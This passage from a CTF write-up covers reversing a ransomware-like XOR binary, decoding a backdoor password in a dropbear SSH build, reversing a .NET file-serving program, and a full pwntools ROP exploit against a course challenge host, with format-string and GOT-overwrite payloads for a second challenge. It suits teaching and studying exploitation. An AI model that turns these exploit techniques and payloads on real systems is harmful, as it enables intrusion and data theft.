break;
}
plain.push_back(i);
std::ofstream fout("flag", std::ios::binary);
fout.write(plain.data(), plain.size());
}
}
```
The flag is within the decrypted text:
```
Tenet is a 2020 science fiction action thriller film written and directed by Christopher Nolan, who produced it with Emma Thomas. A co-production between the United Kingdom and the United States, it stars John David Washington, Robert Pattinson, Elizabeth Debicki, Dimple Kapadia, Michael Caine, and Kenneth Branagh. The film follows a secret agent who learns to manipulate the flow of time to prevent an attack from the future that threatens to annihilate the present world.
Nolan took more than five years to write the screenplay after deliberating about Tenet's central ideas for over a decade. Pre-production began in late 2018, casting took place in March 2019, and principal photography lasted six months, from May to November, in Denmark, Estonia, India, Italy, Norway, the United Kingdom, and the United States. Cinematographer Hoyte van Hoytema shot on 65 mm film and IMAX. Over one hundred vessels and thousands of extras were used.
Delayed three times because of the COVID-19 pandemic, Tenet was released in the United Kingdom on August 26, 2020, and United States on September 3, 2020, in IMAX, 35 mm, and 70 mm. It was the first Hollywood tent-pole to open in theaters after the pandemic shutdown, and grossed $363 million worldwide, making it the fifth-highest-grossing film of 2020. By the way, the flag is FLAG{Oh____x0r_RaNs0mwAr3?_Th1s_mAn_mUst_Rea11y_wAnnAsl33p_QQ}. The film received generally positive reviews from critics, and won Best Visual Effects at the 93rd Academy Awards where it was also nominated for Best Production Design.
```
which is:
```
FLAG{Oh____x0r_RaNs0mwAr3?_Th1s_mAn_mUst_Rea11y_wAnnAsl33p_QQ}
```
### beardrop
By launching the docker container and `nc` into it, we see the SSH header. We can connect it through `ssh` command, and by some testing the executable respects the `~/.ssh/authorized_keys`.
We find a URL in the decompiled source code (with IDA):
https://matt.ucc.asn.au/dropbear/dropbear.html
A quick internet search reveals `dropbear` has a vulnerable version with a back door:
https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/
The backdoor is in the source code, with a master password that can login to any user: (this function is not decompiled in IDA by default, and requires us to manually redefine functions)

We decrypt the XOR-ed password with python:
```python=
#!/usr/bin/env python3
key = 0xAE
asc_1C548 = [0xE8, 0xE2, 0xEF, 0xE9, 0xD5, 0xEC, 0xCF, 0xED, 0xC5, 0xEA, 0x9E, 0xC1, 0xC1, 0xC1, 0xC1, 0xC1, 0xC1, 0x9E, 0x9E, 0x9E, 0xC1, 0xC1, 0x9E, 0xC1, 0x9E, 0xC1, 0x9E, 0xC1, 0x9E, 0xC1, 0xFC, 0xD3, 0x0]
LEN = len(asc_1C548)
decoded = []
for i in range(LEN):
decoded.append(asc_1C548[i] ^ key)
print(chr(decoded[-1]), end='')
```
The backdoor password is the flag:
```
FLAG{BaCkD0oooooo000oo0o0o0o0oR}
```
### dnbd
We are the first team to solve this problem:

We first use wireshark to follow the TCP Stream, and dumped the binary of the contents (separate send and receive).

There are dynamic modifications to the code, so static analysis is not easy. Therefore we chose to perform dynamic debugging inside a Windows VM by using Visual Studio Decompile & Debugging. (By attaching to the exe)
The technique is found in this post: https://www.meziantou.net/debugging-a-dotnet-assembly-without-the-original-source-code-with-visual-studio.htm
The most important part of the dynamically dumped source code is shown below:
```csharp=
public static void run()
{
TcpListener tcpListener = null;
try
{
int port = 5566;
tcpListener = new TcpListener(IPAddress.Parse("0.0.0.0"), port);
tcpListener.Start();
byte[] array = new byte[256];
while (true)
{
TcpClient tcpClient = tcpListener.AcceptTcpClient();
NetworkStream stream = tcpClient.GetStream();
int count;
if ((count = stream.Read(array, 0, array.Length)) != 0 && !(Encoding.ASCII.GetString(array, 0, count) != "@"))
{
string s = RandomString(32);
byte[] bytes = Encoding.ASCII.GetBytes(s);
stream.Write(bytes, 0, bytes.Length);
stream.Read(array, 0, 4);
int num = BitConverter.ToInt32(array, 0);
stream.Read(array, 0, num);
string s2 = CCC.Calculate(bytes);
byte[] bytes2 = Encoding.ASCII.GetBytes(s2);
int num2 = bytes2.Length;
for (int i = 0; i < num; i++)
{
array[i] ^= bytes2[i % num2];
}
using (FileStream fileStream = File.OpenRead(Encoding.UTF8.GetString(array).TrimEnd(default(char))))
{
byte[] array2 = new byte[1024];
int num3;
while ((num3 = fileStream.Read(array2, 0, array2.Length)) > 0)
{
for (int j = 0; j < num3; j++)
{
array2[j] ^= bytes2[j % num2];
}
byte[] buffer = (from x in BitConverter.GetBytes(num3).Concat(array2)
select (x)).ToArray();
stream.Write(buffer, 0, 4 + num3);
}
}
}
tcpClient.Close();
}
}
catch (SocketException)
{
}
finally
{
tcpListener.Stop();
}
}
```
This is a program with the following networking flow:
```
Client -> Server: '@'
Client <- Server: RandomString (32 bytes)
Client -> Server: num (4 bytes)
Client -> Server: bytes, where len(bytes) == num
Client <- Server: FLAG
```
The encryption part is reversable, so we use the wireshark-captured binary to decrypt it with C#:
```csharp=
static void Main(string[] args)
{
String s;
byte[] array = new byte[256];
byte[] bytes;
byte[] c2s_1, c2s_2, c2s_3, s2c_1, s2c_2;
String flag = "";
bytes = File.ReadAllBytes("client-to-server");
Debug.Assert(bytes[0] == '@');
c2s_1 = bytes[..1]; // '@'
Debug.Assert(c2s_1.Length == 1);
c2s_2 = bytes[1..5];
Debug.Assert(c2s_2.Length == 4);
c2s_3 = bytes[5..];
bytes = File.ReadAllBytes("server-to-client");
s2c_1 = bytes[..32]; // RandomString(32)
Debug.Assert(s2c_1.Length == 32);
s2c_2 = bytes[32..];
s = new String(Encoding.ASCII.GetChars(s2c_1));
Debug.Assert(s.Length == 32);
bytes = Encoding.ASCII.GetBytes(s);
Debug.Assert(bytes.Length == 32);
Array.Copy(c2s_2, array, 4);
int num = BitConverter.ToInt32(array, 0);
Debug.Assert(num == c2s_3.Length);
Array.Copy(c2s_3, array, num);
string s2 = CCC.Calculate(bytes);
byte[] bytes2 = Encoding.ASCII.GetBytes(s2);
int num2 = bytes2.Length;
for (int i = 0; i < num; i++)
{
array[i] ^= bytes2[i % num2];
}
String fileName = Encoding.UTF8.GetString(array).TrimEnd(default(char));
Console.WriteLine(fileName);
// Decode
using (MemoryStream memoryStream = new MemoryStream(s2c_2))
{
byte[] array2 = new byte[1024];
int num3, num3_;
while ((num3 = memoryStream.Read(array2, 0, 4)) > 0)
{
Debug.Assert(num3 == 4);
num3 = BitConverter.ToInt32(array2);
num3_ = memoryStream.Read(array2, 0, num3);
Debug.Assert(num3 == num3_);
for (int j = 0; j < num3; j++)
{
array2[j] ^= bytes2[j % num2];
}
flag += new String(Encoding.ASCII.GetChars(array2[..num3]));
}
}
Console.WriteLine(flag);
}
```
And get the flag:
```
FLAG{DOTNET_R3V3RS1NG_IS_N0T_JU5T_0p3n_dnSpy_Br0}
```
## Pwn
### hello-world
The program is Partial RELRO, No canary, No PIE.

We first patch the `sleep` call in main to wait 0 seconds (instead of 15) with IDA.

The pwn-able code is located in `fini`:
```sh
readelf -a hello-world | grep -A 2 array
[20] .init_array INIT_ARRAY 0000000000403e08 00002e08
0000000000000008 0000000000000008 WA 0 0 8
[21] .fini_array FINI_ARRAY 0000000000403e10 00002e10
0000000000000010 0000000000000008 WA 0 0 8
```
The variable `buf` can be buffer overflowed.


We dump the ROP gadgets in the program:
```sh
ROPgadget --multibr --binary ./hello-world/share/hello-world > rop
```
We also found a `rw-` memory space for our pwn script to read/write.
```
gdb> vmmap
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw-
```
The following is our exploit code:
```python=
#!/usr/bin/env python3
from time import sleep
from pwn import *
import sys
is_remote = True
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-v']
os.chdir("hello-world/share")
# exe = "./hello-world"
exe = "./hello-world-patched"
e = ELF(exe)
read_plt = e.plt['read']
puts_plt = e.plt['puts']
info(f"read_plt: {hex(read_plt)}")
info(f"puts_plt: {hex(puts_plt)}")
gdb_cmd = """
b *0x4012F7
b *0x4012ff
continue
"""
if is_remote:
r = remote("edu-ctf.zoolab.org", 30212)
else:
r = gdb.debug(exe, gdb_cmd)
# buf[0] is at $rbp-0x70
# rax is at $rbp-0x8
pop_rdi_ret = 0x4013a3 # pop rdi ; ret
pop_rsi_pop_r15_ret = 0x4013a1 # pop rsi ; pop r15 ; ret
# rdx is 0x200
# 0x404000-0x405000 is rw-
fd = 3
ROP = flat(
# read(3, 0x404000, 0x30)
pop_rdi_ret, fd,
pop_rsi_pop_r15_ret, 0x404000, 0,
read_plt,
# puts(0x404000)
pop_rdi_ret, 0x404000,
puts_plt,
# force flush by jumping back to `fflush(stdout)` in main.
0x401315,
)
r.send(b"\xFF")
# locals + saved rbp + ret addr
payload = b"A" * 0x70 + b"A" * 0x8 + ROP
assert len(payload) <= 0x200
r.send(payload)
# Should wait 15 secs
r.interactive()
```
I first satisfies the `buf[0]==0xFF` constraint, and then stack overflowed `buf` to overwrite the return address.
The return address stores the ROP chain to perform read, puts, and flush (flush by returning to line 4 of main). We can then obtain the flag:
```
FLAG{just warmup :)}
```
### Fullchain-buff (Not Solved)
**Possible Exploits**
- The binary is compiled with `--no-pie`
- All user code addresses are known
- The GOT positions are known
- No stack protector. Overwriting return addresses?
- The string of the flag path is in the string literal, just as Fullchain-nerf.
**Limitations**
- The GOT is Full Relocation (which we found out after the attempts)
- `cnt` is in the register `ebp`. Since we have no knowledge as to how to exploit or overwrite this, we decided that the target is not to overcome the `cnt` limit.
**Attempts**
Since we (seemingly) cannot overwrite `ebp`, the attempts aim to:
- Overwrite the return address of `mywrite` or `myread`
- Overwrite the GOT address of `exit`
**1. Leaking libc / stack address & Overwriting**


We can use one `local write%6$lx` or `local write%7$lx` to leak either the libc base address or the stack. However, we failed at attempting to overwrite other addresses. Among all the pointers we found on stack, none of them points to an exploitable position (e.g., function or exploitable return address).
**2. Overwriting GOT**

GOT location is fixed.
- We first used `global read`, `%14$hn%4199109c%13$n`, attempting to write `0x4012c5 (&chal)` into the addresses specified by `local+0x16` and `local+0x08`.
- Then we `local read`, `b'A'*8 + p64(0x403fe8) + p64(0x403fe8+0x4)[:7]` to prepare for the addresses
- Finally, use `global write` to overwrite the GOT
However, since the GOT cannot be overwritten, this approach failed.